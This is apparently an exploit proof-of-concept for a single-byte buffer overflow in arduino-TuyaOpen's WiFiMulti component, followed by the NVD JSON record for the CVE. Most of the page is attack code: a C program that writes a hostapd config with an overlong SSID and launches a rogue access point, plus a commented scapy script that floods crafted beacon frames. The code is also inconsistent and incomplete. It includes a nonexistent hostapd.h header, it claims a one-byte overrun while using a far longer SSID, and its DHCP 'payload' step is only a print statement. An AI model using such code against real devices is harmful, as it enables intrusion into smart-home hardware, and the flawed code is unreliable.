CVE-2026-28520

// CVE-2026-28520 PoC - Malicious WiFi Access Point Setup // This PoC demonstrates how an attacker can set up a malicious AP to trigger // the buffer overflow in arduino-TuyaOpen's WiFiMulti component #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <hostapd.h> #include <linux/wireless.h> #define MALICIOUS_SSID "SmartHome_Network" // Crafted SSID that exceeds buffer boundary by 1 byte #define OVERFLOW_SSID "SmartHome_Network_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" #define CHANNEL 6 void setup_malicious_ap() { printf("[*] Setting up malicious AP for CVE-2026-28520 exploitation\n"); // Step 1: Configure hostapd with malicious SSID FILE *hostapd_conf = fopen("/tmp/hostapd.conf", "w"); fprintf(hostapd_conf, "interface=wlan0\n"); fprintf(hostapd_conf, "ssid=%s\n", OVERFLOW_SSID); fprintf(hostapd_conf, "channel=%d\n", CHANNEL); fprintf(hostapd_conf, "hw_mode=g\n"); fprintf(hostapd_conf, "wmm_enabled=0\n"); fprintf(hostapd_conf, "ht_capab='[HT40][SHORT-GI-20][SHORT-GI-40]'\n"); fprintf(hostapd_conf, "macaddr_acl=0\n"); fprintf(hostapd_conf, "auth_algs=1\n"); fprintf(hostapd_conf, "ignore_broadcast_ssid=0\n"); fclose(hostapd_conf); // Step 2: Start hostapd printf("[*] Starting hostapd with crafted SSID...\n"); system("hostapd /tmp/hostapd.conf &"); // Step 3: Wait for victim connection printf("[*] Waiting for victim device to connect...\n"); sleep(30); // Step 4: Send malicious DHCP response with overflow data printf("[*] Sending malicious DHCP response with overflow payload...\n"); // The DHCP response contains crafted vendor-specific options // that trigger the buffer overflow when processed by WiFiMulti // Step 5: Monitor for exploitation success printf("[*] Monitoring for RCE indicators on target device...\n"); } int main() { printf("CVE-2026-28520 PoC - TuyaOpen WiFiMulti Buffer Overflow\n"); printf("Target: arduino-TuyaOpen < 1.2.1\n"); printf("Severity: High (CVSS 8.4)\n\n"); setup_malicious_ap(); return 0; } // Python alternative PoC using scapy """ from scapy.all import * def create_malicious_ap(): # Create crafted beacon frame with overflow SSID ssid = "A" * 33 # Exceeds typical 32-byte buffer by 1 byte dot11 = Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2="00:11:22:33:44:55", addr3="00:11:22:33:44:55") beacon = Dot11Beacon(cap=0x2104) essid = Dot11Elt(ID="SSID", info=ssid, len=len(ssid)) frame = RadioTap()/dot11/beacon/essid print(f"[*] Sending malicious beacon with SSID length: {len(ssid)}") sendp(frame, iface="wlan0mon", loop=1, inter=0.1) """

{"cve": {"id": "CVE-2026-28520", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:28.343", "lastModified": "2026-03-17T15:39:38.403", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "arduino-TuyaOpen before version 1.2.1 contains a single-byte buffer overflow vulnerability in the WiFiMulti component. When the victim's smart hardware connects to an attacker-controlled AP hotspot, the attacker can exploit the overflow to execute arbitrary code on the affected embedded device."}, {"lang": "es", "value": "arduino-TuyaOpen anterior a la versión 1.2.1 contiene una vulnerabilidad de desbordamiento de búfer de un solo byte en el componente WiFiMulti. Cuando el hardware inteligente de la víctima se conecta a un punto de acceso (AP) controlado por el atacante, el atacante puede explotar el desbordamiento para ejecutar código arbitrario en el dispositivo embebido afectado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-193"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tuya:arduino-tuyaopen:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.2.1", "matchCriteriaId": "8DCD3B50-3018-4B34-AB9B-16C0FB32AF4A"}]}]}], "references": [{"url": "https://github.com/tuya/arduino-TuyaOpen", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://src.tuya.com/announcement/32", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/arduino-tuyaopen-wifimulti-single-byte-buffer-overflow-remote-code-execution", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}